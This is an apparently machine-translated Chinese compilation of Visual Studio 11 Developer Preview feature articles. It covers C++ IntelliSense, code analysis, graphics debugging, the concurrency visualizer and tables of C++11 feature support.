C + + / CLI中的IntelliSense。的C + + / CLI现在拥有完整的intellisense支持。为C + + / CLI的所有IntelliSense功能，如快速信息，参数的帮助，成员名单，并自动完成现在的工作。此外，在这个主题中列出的新的IntelliSense和IDE增强也为C + + / CLI。

C + +的代码段。骨架代码，是提供基本的代码结构，如开关，的if - else，for循环，等等，在下拉列表成员。从列表中选择一个代码片段插入到你的代码，然后填写所需的逻辑。还可以创建自己的自定义代码片段在编辑器中使用。

列表成员增强。下拉列表成员会自动出现在键入到代码编辑器的代码。结果被过滤，使有关成员显示输入。使用文本编辑器下的“选项”对话框的成员名单，您可以控制​​过滤逻辑的类型。

语义着色。额外的C + +标识，如类型，枚举和宏，等等，现在都着色。默认情况下，启用着色。参数显示为斜体。在选项对话框中，可以指定额外的标识colorizations环境下，字体和颜色。
参考突出。您的指针上放置一个符号现在强调在当前文件中的符号的所有实例。按Ctrl + Shift +向上键或Ctrl + Shift +向下键之间移动突出引用。可以关闭此功能，在选项对话框下文本编辑器，C / C + +高级选项中。

代码质量工具

并行调试

除了并行任务“窗口和并行堆栈”窗口，在Visual Studio 2010时，Visual Studio 11开发人员预览版提供了一个新的并行Watch窗口，让你观察到所有线程和进程的一个表达式的值，对结果进行排序和过滤，并延长与你自己的可视化的窗口。您还可以采取新的多进程支持所有工具窗口的优势。

C + +的加速大规模并行处理（AMP）的调试和分析调试。对于使用的应用程序的C + + AMP目标的GPU，提供熟悉的CPU Visual Studio调试经验。这包括前面提到的增加新的并行调试。调试C + + AMP的应用程序，就像调试任何C + +程序。

分析。现在有分析支持，为GPU的活动，支持C + +的AMP和其他基于Direct3D的编程模型。

静态代码分析

静态分析的C + +已更新，以提供更丰富的错误的上下文信息，更多的分析规则和更好的分析结果，在新的代码分析窗口。在此窗口中，现在可以过滤关键字，项目和严重性的消息。选择窗口中的消息，突出了在源代码编辑器的消息是触发线。对于某些C + +的警告，该消息将列出源代码行，以显示执行路径，导致警告。
其他代码分析增强包括以下内容：
新的并发警告，以帮助您确保在多线程C / C + +程序的正确锁定学科。分析仪检测到多个并发错误。这些措施包括潜在的竞争条件下，锁定顺序倒置，主叫/被叫锁定违反合同，不匹配的同步操作。
可以指定的C + +的分析规则要适用于代码分析通过创建或使用的规则集运行。
在“代码分析”窗口，您可以插入的源代码，它可以抑制选定警告的用法。

更新的单元测试框架
使用新的C + +单元测试在Visual Studio中编写C + +单元测试框架。添加一个新的单元测试项目，以现有的C + +通过定位解决方案的C + +单元测试下的视觉项目模板的C + +类在新建项目对话框。开始写你的单元测试中生成的TEST_METHOD在Unittest1.cpp文件中的代码存根。一旦测试代码的编写，可以自动发现测试如下：生成解决方案，然后按一下打开一个单元测试的浏览器窗口查看其他Windows ->单元测试浏览器。右键单击资源管理器单元测试的测试案例的运行测试，并选择“运行选定的测试。然后，您可以查看测试结果，在试运行结束后的同一窗口和额外的堆栈跟踪信息。

体系结构依赖图

为了更好地理解代码，现在可以生成二进制，类，命名空间的依赖关系图，包括在文件中的C + +解决方案或项目。打开菜单架构>生成依赖图 - >生成项目或解决方案为您的整体解决方案或选定项目的依赖关系图。图生成完成后，您可以探索通过扩大每个节点图，了解移动节点之间的依赖关系，并通过右击节点并选择观看内容“浏览源代码。要生成依赖图，包括文件，右键单击. cpp源代码文件或. h头文件，并选择“生成包含文件的图形。

层图

使用层图来验证架构设计实现代码在C + +编写的。通过选择菜单“建筑 - >新图>层图”创建一个新的层图。开始从“工具箱”窗口拖放的形状，然后链接项目，或拖放到图中的现有项目，从解决方案资源管理器直接绘图架构。架构图完成后，右键单击图表并选择验证架构对代码运行验证。结果在“错误列表”窗口（从视图菜单中打开）。还可以生成一个图上单击右键并选择“生成依赖关系的依赖。然后，可以可视化层图上的实际代码依赖。

架构资源管理器

架构资源管理器，可以检索的C + +解决方案，项目或文件。查找菜单架构的架构资源管理器 - >窗口 - >项目资源管理器。点击相关节点，例如，类视图。然后将扩大与所有的命名空间列表右侧的工具窗口。继续选择一个命名空间，并创建一个新列将在右侧显示这个命名空间中的类，结构和枚举列表。继续探索通过选择节点的项目，或回到最左边的列重新启动查询。

代码覆盖率

代码覆盖率已更新动态仪器的二进制文件，在运行时，它给你较低的配置开销和提供更好的性能。还可以在Visual Studio中的C + +应用程序的单元测试的代码覆盖率数据收集。一旦创建的C + +单元测试，可以使用单元测试浏览器自动发现您的解决方案中的测试。在单元测试浏览器，选择分析代码覆盖率，这将运行单元测试，并收集这些测试的代码覆盖率数据。查看代码覆盖率结果“窗口（测试> - >”代码覆盖率结果）的代码覆盖率结果。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

项目的兼容性 = 不用升级

多年来为我们的客户的难点之一已与新版本的 Visual Studio 相关的升级的成本。与 Visual Studio 2010，尤其是对于 Visual c + + 客户从 Visual Studio 2008 年升级相关的成本太高，因为打破编译器更改和基于 MSBuild 完全新的项目并生成系统太麻烦。

在 Visual Studio 11 我们有支持项目  Visual Studio 2010 和 Visual Studio 11 之间的兼容性。将能够打开和处理 （构建等） 在 Visual Studio 11 你 Visual Studio 2010 项目无需升级的项目文件。

升级向导已经一去不复返了。

升级向导不会加载一个 Visual Studio 2010 项目在 Visual Studio 11 时弹出窗口。它只加载。可以生成项目在 Visual Studio 11 使用 Visual Studio 2010 工具使用针对功能，下面，我会解释更多。这意味着你适应使用新的编译器，而你的第三方供应商为您提供了与编译器，您仍然可以利用新的 Visual Studio 11 IDE，而无需中断您的船周期的 Visual Studio 11 兼容的二进制文件。只是平台工具集属性设置为 v100 属性页中 （需要与 Visual Studio 11 并行安装的 Visual Studio 2010）。既然有没有升级时使用的 Visual Studio 2010 工具 （v100) 为你创造可以继续加载项目/解决方案在 Visual Studio 2010 年也。

你可能会想，"等待 ！！！ ！"是否我有 200 多个本机项目，我不想被更改为每个项目平台工具集属性。

我们通过提供您更新解决方案文件从您的工具集权利的方法解决这一问题在 Visual Studio 11。右击解决方案文件显示上下文菜单，从中可以选择更新对所有本机项目的工具集。

不要"升级"吓住，此选项仅更新每个本机使用 Visual Studio 11 解决方案中项目的工具集属性生成工具 (版本的 v110）。 
请注意，此功能是不限于只是 Visual c + + 项目的解决方案，但对混合解决方案以及其中可能包含一些 Visual c + + 项目，一些 C# 项目也有效。

Visual Studio 模板 （VSTemplates） 支持

Visual Studio 2010 版本和以前版本的 c + + 提供了一种方式创建使用旧的.vsz/.vsdir 格式的项目模板。这种格式很旧，不支持发布模板下载和使用其他客户的扩展库的功能。C + + 的 visual Studio 11 创作您自定义的项目和项模板，将允许任何新的模板，以利用此基础结构，以将发布的扩展库模板在线支持的"vstemplates"格式。

你可以任意手作者使用架构您自定义的"vstemplate"文件，或者如果正在处理的项目可以使用 Visual Studio 将它导出到模板中，如下所示。

只需填写您的模板的详细信息，并在该向导中单击完成。

现在转到文件-> 新建-> 项目在 Visual Studio 11 和您的模板显示。

也可以上传模板到扩展库通过创建的 VSIX 模板

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

代码理解增强功能

语义的着色

语义着色

帮助快速扫描代码和推断出更多的语义含义，通过增强的视觉反馈，在编辑器中。现在除了关键字、 字符串和评论，其他标记类型、 枚举和宏像被彩色 ；参数是斜体等等。下面的屏幕快照显示了一个示例。请注意如何宏、 类型、 函数参数等冒出来，并使理解代码更容易。

虽然只有几个标识不同彩色，默认情况下，如下面的屏幕快照所示向用户公开大约 20 个不同的语义标记。

可以自定义 IDE，以不同的方式使用这些标记的选择性着色。例如，可以选择不同着色本地和全局变量就能方便源了解援助时变量是以相同的方式命名，但在不同的范围中定义。

引用突出显示

另一个很大的生产力功能来帮助您理解代码是参考突出显示。将文本光标放在符号上时，得到突出显示该文件中的符号的所有实例。只有真正的引用会突出显示 — — 例如，两个符号具有相同名称的不同作用域 （说本地与全球） 将不突出显示在同一时间。您可以使用Ctrl + Shift + 向上和Ctrl + Shift + 向下键突出显示引用之间移动。这意味着您无需再去调用查找所有引用，如果你只寻找文件中的符号。显示下面的屏幕快照如何突出显示内部函数体的变量cxExtentMax的所有实例时，光标位于max()调用中引用的一个。但该变量具有相同的名称定义函数范围之外不会突出显示。

新解决方案资源管理器

有大量的常用任务 — — 例如，导航到用于搜索的符号和文件，类视图和对象浏览器用于检查对象的成员所需的工具窗口，查找所有引用的都用途，以及查找引用，调用分层结构都用于查找调用和从函数等。想象一下能够做到所有这些操作从一个单一的工具窗口，而无需切换上下文或牺牲其他宝贵的屏幕。新解决方案资源管理器将大部分在一处，这些工具窗口的功能组合本身 ！当然，其他工具窗口仍可在 Visual Studio 中，但新的解决方案资源管理器的目标是要大大减少需要调用它们的最常见的情况。所有由多才多艺的新解决方案资源管理器提供的新功能的详细的说明。这里是抽样：

可以展开您的文件以查看字段、 功能和在文件中包含的类型和类型中包含的成员。

允许您搜索整个解决方案一直到单个类的成员。

可以在解决方案资源管理器的不同视图之间导航回顾与前瞻和可以创建多个实例位于不同的节点，如果需要的解决方案资源管理器。还可以范围要只是特定的项目或文件或类型的视图。

在解决方案资源管理器中，以期在编辑器会自动同步，该视图。在解决方案资源管理器中的符号节点上单击转到编辑器中的符号的定义。此外，还可以看到从解决方案资源管理器中的类型和功能如调用、电话、引用，和继承功能之间的关系。

代码编辑增强功能

第二类的 c + + 功能可帮助您更快地编辑代码。

自动显示的智能感知成员列表

在 Visual Studio 2010 和以前的版本中，智能感知会员列表下拉了来显式调用或者通过键入Ctrl + 空格键或Ctrl + J或输入范围解析运算符 (::） 或元素选择运算符 （.或->）。在下一版本中，Visual Studio 将自动显示下拉列表成员列表中，键入时无需显式地调用它。

成员列表中的自动显示智能 — — 积极时不显示成员列表中它没有任何意义，例如键入一项宣言时, 有无积极会员列表的显示。

会员列表筛选

不只是自动显示的成员列表中键入时收缩并显示只有有关成员时还会筛选。这样您可以通过键入两个字符的筛选的结果，如下面的屏幕快照

快速查找有关成员筛选使用模糊逻辑。但如果不喜欢的模糊的筛选，您可以更改它的前缀，或筛选完全关闭。

代码段

代码段帮助您快速键入几个键击的样板代码。这里是它是如何工作的 switch 语句： 当您开始键入时，智能感知成员列表显示您可以选择按下选项卡中的相关的代码段。

然后修改只需按enter 键或 switch 语句中的表达式和 switch 语句的整个框架将被添加为您 ；您只需要填写逻辑 ！

在除了切换的语句，还有其他代码片断的基本代码构造可用于您 — — 像如果别的，因为循环等。每个代码段节省输入不必要的打字，让程序员集中精力处理逻辑，节约时间!

此外，代码片段功能是可扩展的因此您还可以创建自己的代码段，这很简单，只创建一个简单的 XML 文件，并将其复制到某个位置。您也可以调用从上下文菜单中的编辑器中的代码片段和可以插入代码段或可以环绕选定的代码的代码段 （例如使用# ifdef声明）。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

3D游戏的在新设备（智能手机，平板电脑）上呈现一个巨大的机会，为开发人员。用于访问底层的图形硬件，在 Windows 上全部的力量的主 API 是DirectX 11 （包括Direct3D和Direct2D).
 Visual Studio 11 最重要创新之一是一系列的工具帮助开发 Direct3D 游戏。

在 Visual Studio 中的新图形调试器是捕获从 Direct3D 应用程序的详细的信息，如执行调试和分析工具。可以使用它：

捕获呈现的帧，后来的检验和分析。

查看 DirectX 事件和其对应用程序的影响。

之前和之后顶点着色器转换，请查看 3D 网格。

发现哪个 DirectX 事件作出贡献的一个特定的像素的颜色。

直接跳转到特定的 DirectX 调用的源代码中的位置

假设解决一个简单的问题，一步一步使用图形调试器。这是一个旋转的模游戏。这里是它应该是什么样子。

然而，当运行应用程序时找出模具不在游戏中呈现。

若要开始调试此游戏，右键单击该项目在解决方案资源管理器中，在"启用图形捕获"中设置为"是"调试节点。

现在，F5 启动调试您的应用程序，注意到这个游戏现在有一些基本的统计数据，在左上角显示。这表明 VS 是准备捕获从游戏要调查呈现问题的诊断信息.

为了捕获的帧，只需点击"打印屏幕"的关键。可以重复此步骤 ；每个帧将显示在 Visual Studio 中作为"图形 Experiment.vsglog"文件的一部分。日志文件包含为您呈现问题的调试所需的所有信息。默认情况下的该文件位于在一个临时位置，但您可以选择保存该文件，并与其他开发人员共享它。

进一步挖到什么正在通过分析在 Visual Studio 中的捕获的帧。若要理解这一点更好想知道什么了绘制时，称为"DrawIndexed"的 API的代码。

若要检查"DrawIndexed"调用框架的缩略图上右键单击，然后从上下文菜单中调出事件列表窗口中选择"事件列表"。

图形事件列表窗口列出了所有由运行在 VS 调试器下的程序捕获的 DirectX 事件。它还模拟图形调试器，重新使用相同的输入所使用的正在运行的程序的命令下的事件。在搜索框，可以键入要筛选列表以显示"画"DirectX 绘制调用。通过绘制调用，将能够看到 （右侧） 框架窗口中单击该框架绘制化零为整的方式。

在此窗口类型"画"中的搜索框中，这将筛选以显示游戏所作的画调用列表。选择"DrawIndexed"调用事件列表，检查在框架窗口中呈现的东西。

不幸的是在此情况下，正如上面什么被呈现，因此要继续我们的调试过程。 （DrawIndexed） 提交渲染管线的工作。所以来检查看看是否东西被提交的"DrawIndexed"作为渲染管线的调用。为了看看发生了什么事图形管道中绘制调用被执行时，用鼠标右键单击事件列表中的调用和造就管道查看器通过从上下文菜单中选择"查看器管道"。

图形管道查看器显示图形管道和这些阶段如何修改模型中的过程的不同阶段。

查看器显示四种不同视图的网格的数据 ；它们对应于在管道中的四个不同阶段

视图 | 说明
Pre-Vertex 着色器 | 查看网格顶点之前顶点着色器。相机被指向该对象的中心。
开机自检顶点着色器 | 顶点着色器后查看网格顶点。相机被指向该对象的中心。
几何着色器 (不视为在此示例中不使用） | 查看网格顶点着色器几何后。相机被指向该对象的中心。如果没有指定的几何着色器，此视图为空 （固体的浅灰色阴影）。
视图端口 | 查看网格顶点的屏幕空间。相机设置了相机在目标程序相同。

注意有图形管道中没有代表在此视图中的其他阶段。更多的新的图形上管道在 DirectX 11 。

可以看到的东西正在绘制的图形管线视图中，看起来像应用程序想要呈现的模具。似乎从上图的"死"（多维数据集） 的结构正在通过图形管道正确指示着色器是否工作正常 。

此时，需要继续调试，其它地方看一看。这可能是像素被覆盖或丢弃。要验证这一假设需要去看看像素 （模具是应该要呈现） 框架的中心。帧缓冲区窗口中单击中心首先选择一个像素然后右击并从上下文菜单中选择"像素历史"。

图形像素史窗口显示当前帧中的选定像素的颜色作出贡献的活动。它包含有关如何修改像素了 DirectX 像素历史记录窗口中的每个事件的信息。这包括初始帧缓冲区状态，其次是中间画事件的呈现和最终的结果。

帧缓冲区像素颜色是蓝色，，然后像素着色器的像素应用一种不同的颜色 （灰色） 时，可以看到从"像素历史记录"窗口。但是，仍然蓝色最终颜色。不是在所有应用正在呈现所需的像素颜色。这是混合状态设置可能不正确的指示。如何混合了组合时的颜色和 alpha 值的混合状态控件呈现数据与现有呈现目标数据。要检查的混合状态，右键单击像素，并从上下文菜单中选择"对象列表"。这将弹出"图形对象表"窗口。

图形对象表显示 Direct3D 对象创建的目标程序。可以通过单击表中的对象上的双查看任何包含状态信息的对象。

排序对象表 （按"类型"），然后滚动到列表中的"D3D11 混合状态"对象。双击"D3D11 混合状态"对象将最低有效 （不无）"使用时代"。"使用时代"帮助的范围调查于所选对象绘制调用，使用年龄降低很多有关。双击与使用情况的最低年龄的混合状态对象，将打开一个文档内 Visual Studio 的对象的详细信息。

从上面的图片，可以看到：

Blend Source = D3D11_BLEND_ZERO; //Source 表示像素着色器的混合上执行操作的彩色输出
Blend Destination = D3D11_BLEND_ONE; //Destination 代表的混合执行操作的框架的颜色

Blend Op = D3D11_BLEND_ADD; //Blend 操作执行的源和目标。

可以看到从这源的混合状态被遮罩，因为它被设置为零 （D3D11_BLEND_ZERO） 和目标的混合状态设置为 1 (D3D11_BLEND_ONE)。这将导致的背景色来出作为主色后混合，因此我们没有看到正在呈现的模具。这样的像素着色器输出是主输出的混合操作，应切换值。

Blend Source = D3D11_BLEND_ONE;
Blend Destination = D3D11_BLEND_ZERO;
Blend Op = D3D11_BLEND_ADD;

可以返回到事件列表窗口并筛选寻找"blendstate"，因为事件列表中列出了所有的 DirectX 事件已捕获帧的时期发生的事件列表中，找出混合状态被设置的位置。一旦您筛选，您可以看到"OMSetBlendState"的呼吁。调用，将混合状态设置为"OMSetBlendState"。获取源代码凡正在作出此调用，右键单击"OMSetBlendState"调用，并从上下文菜单中会出现"图形调用堆栈"窗口中选择"调用堆栈"

图形事件调用堆栈窗口联系正在调试的 c + + 源代码的 DirectX 事件。

双击第一个调用调用堆栈中，它将您带到"OMSetBlendState"在代码中调用。几行上方的"OMBlendState"调用，会注意到设置的源和目标位置混合值的代码行。

切换通过更改以反映以下代码：

blenddesc.RenderTarget[0].SrcBlend=D3D11_BLEND_ONE;
blenddesc.RenderTarget[0].DestBlend=D3D11_BLEND_ZERO;

生成并运行。

游戏开发并不容易，工具可帮助您使基础 DirectX 平台的使用。在此版本中，将这种新型的诊断经验带入 Visual Studio11。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

Visual Studio 2010 可以采取的第一个操作是打开分析菜单，启动性能向导，然后选择"形象的多线程应用程序的行为"。到了Visual Studio 11情况发生变化了， Visual Studio 11 DP 性能向导中不存在可视化选项。它去了哪里？并发可视化工具成为其自身 Visual Studio 11 DP 分析菜单中的菜单项。Visual Studio 2010 与 Visual Studio 11 开发者预览并发可视化工具的其他更改的部分是什么？

CPU 利用率视图

首先要注意收集时的 Visual Studio 11 DP 的跟踪与 2010年是的而不是要求与提升的凭据，跟踪应用程序中打开的 Visual Studio 将 CVCollectionService 提升凭据的提示。这允许开发人员继续运行 Visual Studio，而无需提升的凭据。注意到第二件是减少的时间的分析和跟踪分析。许多性能改进了 Visual Studio 11 DP ETW 解析和分析。结果是时间的停止 ETW 会话和可视化跟踪之间的时间不少于三分之一才在 Visual Studio 2010 年。第三个显著的区别是 CPU 使用率视图 ； 中的颜色他们不是为加粗，眼睛更容易。其它流程的类别是仍在空闲进程的类别，它可以被跟踪的进程的顶部的顶部是系统进程类别的顶部。

最后一项，跳出即时的差异是它看起来像是伸出版的 CPU 使用率视图，但在其周围出现红色框窗口的顶部的框。这是图表缩放控件，它是一致视图之间的 CPU、 线程和内核的意见。由于活动视图是放大，或平移，图表缩放控件的红色框将放大和相应平移。此外，如果直接拖动图表缩放控件上的手柄，活动视图将缩放和平移以及。此图表是有助于利用在不同视图之间的关联。

线程视图

在 Visual Studio 11 开发者预览中的线程视图是明显更类似于对应的从 Visual Studio 2010 年比 CPU 利用率视图。磁盘读写游泳车道仍显示为顶级游泳车道和 I/O 段是紫色的阴影。事实上，几乎所有的线程视图的颜色是 Visual Studio 11 DP 中相同的 Visual Studio 2010 年一样。线程阻塞连接器是暗的 Visual Studio 11 DP 帮助的眼睛，两个线程之间建立更强的连接。不会站出来为不同的东西是积极传说中的按钮的下划线和 Visual Studio 11 DP 的蓝色。这是为了帮助鼓励开发人员可以选择配置文件的报告，并查看不同的报告中所载的信息。

一个不错的功能进行了添加 Visual studio 11 DP 是能够选择几个线程游泳的行车线，打开上下文菜单，，然后选择"隐藏所有除了选择"。这隐藏所有帮助开发人员快速的未选定的游泳航线的几个线程缩小他们感兴趣调查。

像线程视图，芯视图在一个类似的布局和配色方案 Visual Studio 11 DP Visual Studio 2010 年那样。一些新的因为 Visual Studio 2010 是一个线程可以选择在底部一半认为，这将筛选逻辑核心游泳行车线，以显示的只是该线程的活动。

赶紧下载VS11体验吧

http://www.microsoft.com/click/services/Redirect2.ashx?CR_CC=200098144

有一种新的 c + + 标准和新版本的 Visual c + +，新的版本Visual C++将更加符合C++标准！

在其发展过程中新的 c + + 标准被 (乐观) 称为 C + + 0x。它最后被发布在 2011 年，和现在称为 C + + 11。

对于 Visual c + +，它有三个不同版本的数字， 有不同的内部版本和编译器版本 （cl.exe 和_MSC_VER宏-显示这是不同因为我们 c + + 编译器早在 Visual c + + 中的"可视化"）。例如：

VS 2005 == VC8 == _MSC_VER 1400
VS 2008 == VC9 == _MSC_VER 1500
VS 2010 == VC10 == _MSC_VER 1600

在内部，就只是 VC11。

如果读了C++0X标准，以及熟悉VC的诸个版本的不同，就会理解。

C++11 Core Language Features | VC10 | VC11
Rvalue references v0.1, v1.0, v2.0, v2.1, v3.0 | v2.0 | v2.1*
ref-qualifiers | No | No
Non-static data member initializers | No | No
Variadic templates v0.9, v1.0 | No | No
Initializer lists | No | No
static_assert | Yes | Yes
auto v0.9, v1.0 | v1.0 | v1.0
Trailing return types | Yes | Yes
Lambdas v0.9, v1.0, v1.1 | v1.0 | v1.1
decltype v1.0, v1.1 | v1.0 | v1.1**
Right angle brackets | Yes | Yes
Default template arguments for function templates | No | No
Expression SFINAE | No | No
Alias templates | No | No
Extern templates | Yes | Yes
nullptr | Yes | Yes
Strongly typed enums | Partial | Yes
Forward declared enums | No | Yes
Attributes | No | No
constexpr | No | No
Alignment | TR1 | Partial
Delegating constructors | No | No
Inheriting constructors | No | No
Explicit conversion operators | No | No
char16_t and char32_t | No | No
Unicode string literals | No | No
Raw string literals | No | No
Universal character names in literals | No | No
User-defined literals | No | No
Standard-layout and trivial types | No | Yes
Defaulted and deleted functions | No | No
Extended friend declarations | Yes | Yes
Extended sizeof | No | No
Inline namespaces | No | No
Unrestricted unions | No | No
Local and unnamed types as template arguments | Yes | Yes
Range-based for-loop | No | No
override and final v0.8, v0.9, v1.0 | Partial | Partial
Minimal GC support | Yes | Yes
noexcept | No | No

C++11 Core Language Features: Concurrency | VC10 | VC11
Reworded sequence points | N/A | N/A
Atomics | No | Yes
Strong compare and exchange | No | Yes
Bidirectional fences | No | Yes
Memory model | N/A | N/A
Data-dependency ordering | No | Yes
Data-dependency ordering: function annotation | No | No
exception_ptr | Yes | Yes
quick_exit and at_quick_exit | No | No
Atomics in signal handlers | No | No
Thread-local storage | Partial | Partial
Magic statics | No | No

C++11 Core Language Features: C99 | VC10 | VC11
func | Partial | Partial
C99 preprocessor | Partial | Partial
long long | Yes | Yes
Extended integer types | N/A | N/A

这里是快速指南，希望大家有一定的C++基础，熟悉啥是 c + + 11：

Rvalue 引用：N1610"Rvalues 类对象的初始化的澄清"是早期尝试启用无 rvalue 引用 move 语意。

因为这些新规则还没有完全实现 VC11 开发者预览中，表说："v2.1*"。这是正在跟踪的活动的 bug。

Rvalue 引用v3.0添加自动生成的构造函数和移动赋值运算符在一定条件下的新规则。这不会进行中 VC11，还将继续遵循的永远不会自动生成 move 构造函数/移动页本页的行为。

Lambda：Lambda 被选入工作文件 （v0.9） 和可变 lambda 添加 (v1.0) 后，标准化委员会彻底改革措辞，生产 lambda 1.1 版。这太晚发生才能实现页本页，但我们已经实现了它 VC11。Lambda v1.1 措辞澄清在像引用静态成员或嵌套的 lambda 角情况下该怎么办。这可以修复 bug 引发复杂的 lambda 的一群。此外，无国籍的 lambda 现已转换为 VC11 中的函数指针。这不是在 N2927 的措辞，但不管怎样，我数它作为 lambda v1.1 的一部分。这是跨国公司直接投资 5.1.2 [expr.prim.lambda]/6："没有lambda 捕获 lambda 表达式的封闭类型有公共非虚拟非明确const转换函数具有相同的参数和返回类型，如封闭类型的函数调用操作符的函数指针。此转换函数返回的值应函数的地址调用时，已调用该封闭类型的函数调用操作符相同的效果。"

对齐方式：页本页既 VC11 执行核心语言关键字alignas/alignof从对齐方式提案的最终表决通过工作文件。页本页已从 TR1 aligned_storage。VC11 标准库添加 aligned_union 和std::align() 。

标准布局和琐碎的类型：至于可以说，从N2342 "POD 的重新 ； 用户可见的变化解决核心问题 568 (修订 5）"是添加了is_trivial和is_standard_layout到。（N2342 执行很多手术核心语言的措辞，但它只是让东西明确用户可能没有受到不管怎样，因此不需要进行任何编译器更改）。我们将这些类型的特征在页本页，但他们只是重复 is_pod，所以我打电话说"不"支持。在 VC11，他们被动力由编译器挂钩，它们应给出准确的答案。

扩展的友元声明：是基本上完成 (它甚至不发出警告"非标准扩展"，与一些其他登上扩展此表中不同）。所以已经标记页本页和 VC11 都为"是"。

重写和决赛：经历了短暂而复杂的演变。最初 （v0.8） 有 [[覆盖]]，[[隐藏]]，和 [[base_check]] 属性。然后 （v0.9） 属性被淘汰，并替换为上下文关键字。最后 (v1.0)，他们沦落到"最后"类和"重写"和"最后"功能上。这使得它登上的扩展，如 VC 已经支持此"重写"语法功能，具有语义合理地靠近 C + + 11 的。"最后"也是支持的但根据不同的拼写"密封"。这符合我的表中的"局部"支持。

最小的 GC 支持：事实证明， N2670只用户可见的变化不是操作标准库函数，我们已经在页本页中捡了一堆。

序列点的措辞：后盯着N2239的变化，取代 C + + 98/03 的"序列点"措辞与 C + + 11 的"序前"措辞 （这是更有用的而且更友好多线程处理），似乎是编译器或标准库实现做什么。所以我已经标记这为不适用。

原子，等：原子、强比较和交换、双向围栏，和数据依赖顺序指定标准库机械。

内存模型：N2429提出核心语言识别存在的多线程处理，但似乎什么也不做编译器执行 （至少一已经支持多线程）。所以在表中不适用。

扩展的整数类型：N1988本身说："实施成本上的最后一点： 这个扩展在大多数编译器可能会导致没有变化。任何编译器，已没有整数类型除外规定的标准 （和一些版本的长长，其任务是通过 N1811 变化） 将可能已经符合。"另一项不适用功能 ！

这包括核心语言。至于标准库中，我没有这样的功能，漂亮表，但我有好消息：

在 VC11，我们打算完全支持 C + + 11 标准库，但实施编译器功能可以自定义。（另外，VC11 不会完全实现 C99 标准库，已经通过引用纳入 C + + 11 标准库。注意页本页和 VC11 已经有）。这里是我们不断的变化的非详尽列表：

新头文件: 、 、 、 、 、 、 和。

进驻：根据需要由 C + + 11，我们已经实现了emplace()/emplace_front()/emplace_back()/emplace_hint()/emplace_after()在所有容器的"任意"数字的参数 （见下文）。例如，矢量 有"模板 < typename … …Args > 无效 emplace_back (Args & & … … args)"的直接构造任意数量的任意参数，完美转发从向量的背部 T 类型的元素。这可以更有效地比push_back(T&&)（页本页支持从 1 的参数，并不是特别有用的侵位）。

人造 variadics:我们开发了一种新的模拟 variadic 模板方案。以前在 VC9 SP1 和页本页，我们一再包括 subheaders 在定义不同的每一次，为了杜绝为 0、 1、 2、 3，等参数的重载的宏。（例如， 包含内部 subheader 反复，为了杜绝make_shared (args，args，args）。）在 VC11，subheaders 已经过去了。现在我们 variadic 模板本身定义为宏 （带有大量的反斜杠延续），然后将其展开主宏。此内部实现更改具有某些用户可见的影响。首先，代码是更容易维护，更易于使用 （添加 subheaders 相当多的工作），并略小于偶尔无法读取。这是什么让我们轻松实现 variadic 进驻，应该更容易在将来壁球 bug。第二，很难走进调试器的情况 （抱歉 ！）。第三，对的 （piecewise_construct_t，元组 < … … Args1 > > < Args2 … … 的元组） 对构造函数有"有趣"的效果。这就要求 N ^2 重载 （如果我们支持多达 10 元，这意味着 121 重载，因为空元组计数在这里太)。最初，我们发现这 （滥发出这么多对元组重载，再加上所有的重载，这些重载进驻) 消耗了大量的内存在编译期间，所以作为一种解决方法，我们减少了无穷。在 VC9 SP1 和页本页，无限是 10 （即"variadic"模板支持具有包容性的 0 到 10 参数）。在 VC11 的开发者预览中，无限是默认情况下的 5。这得回页本页是什么我们编译器内存消耗。如果您需要更多的参数 （例如你有代码编译 VC9 SP1 或页本页使用 6 元），有一个推卸。您可以定义_VARIADIC_MAX 5 至 10 包容性 （默认为 5） 项目范围。增加它将使编译器会消耗更多的内存。

随机性：uniform_int_distribution现在是完全不带偏见，和我们已经实现了shuffle() ， ，它直接接受像mersenne_twister的均匀随机数发生器.

抗运算符重载的地址：C + + 98/03 禁止其地址的运算符重载的 STL 容器元素。这是像CComPtr类做些什么，所以像CAdapt的帮助器类都必须屏蔽 STL 从这种重载。页本页的发展过程中，所做的 STL 的更改同时大规模重写 （对于 rvalue 引用，除其他外），STL 重载地址的运算符在某些情况下甚至更多。

然后 C + + 11 改变其需求，使运算符重载的地址可以接受。（C + + 11 和页本页，提供帮助器函数std::addressof()，这是能够获得真实地址的运算符重载无论对象。）页本页发送之前，我们试图审核所有 STL 容器中的事件"和元素"，代之以"std::addressof(elem)"这是适当的抗性。在 VC11，我们已经进一步发展。现在我们已经审计所有容器和所有的迭代器，所以重载其地址的运算符的类应该是整个 STL 可用。任何剩余的问题都应通过 Microsoft 连接向我们报告的错误。（可以想象，grepping 为"及元素"是相当难 ！）还没审核算法，但偶然一瞥向我表示他们并不特别喜欢的元素的地址。

还将超越 C + + 11 的几种方式：

令人容易失误的迭代器：但不是允许所需的 C + + 11 标准，已实施避免易失误的迭代器，所形容的"最小化依赖项内泛型类的快和小程序" N2911和N2980 "易失误的迭代器分配和初始化，修订 1"。

文件系统：已经添加头TR2 的建议，如 recursive_directory_iterator。 来自 Boost.Filesystem V2。它后来演变成Boost.Filesystem V3，但这都不会实现的 VC11。

最后，在众多的错误修正，我们开展了主要的优化 ！所有我们的容器 （一般说来） 现最佳小给予其当前的表示形式。这指容器对象本身，不其指向胆量。例如，矢量包含三个原始指针。页本页，向量 x 86 发布模式，是 16 个字节。在 VC11，它是 12 个字节，这是最佳小。如果您在程序中有 100,000 的载体 — — VC11 将为您节省 400000 个字节，这是一个大问题。降低的内存使用节省了时间和空间。

这被通过避免存储空分配器和比较器。（会激活这些优化的自定义分配器/比较器太，只要是无类型强定义。）

这里是所有 x86 和 x 64 的大小。（32 位 ARM 是相当于 x 86 为这些目的）。当然，这些表包括发布模式下，调试模式包含所消耗的时间和空间的检查机械。我有 VC9 SP1 中， _SECURE_SCL默认为 1，而对于 VC9 SP1 中的_SECURE_SCL手动设置为 0，最大速度为单独的列。默认为 0 （现名为_ITERATOR_DEBUG_LEVEL的_SECURE_SCL页本页和 VC11).

x86 Container Sizes (Bytes) | VC9 SP1 | VC9 SP1 SCL=0 | VC10 | VC11
vector<int> | 24 | 16 | 16 | 12
array<int, 5> | 20 | 20 | 20 | 20
deque<int> | 32 | 32 | 24 | 20
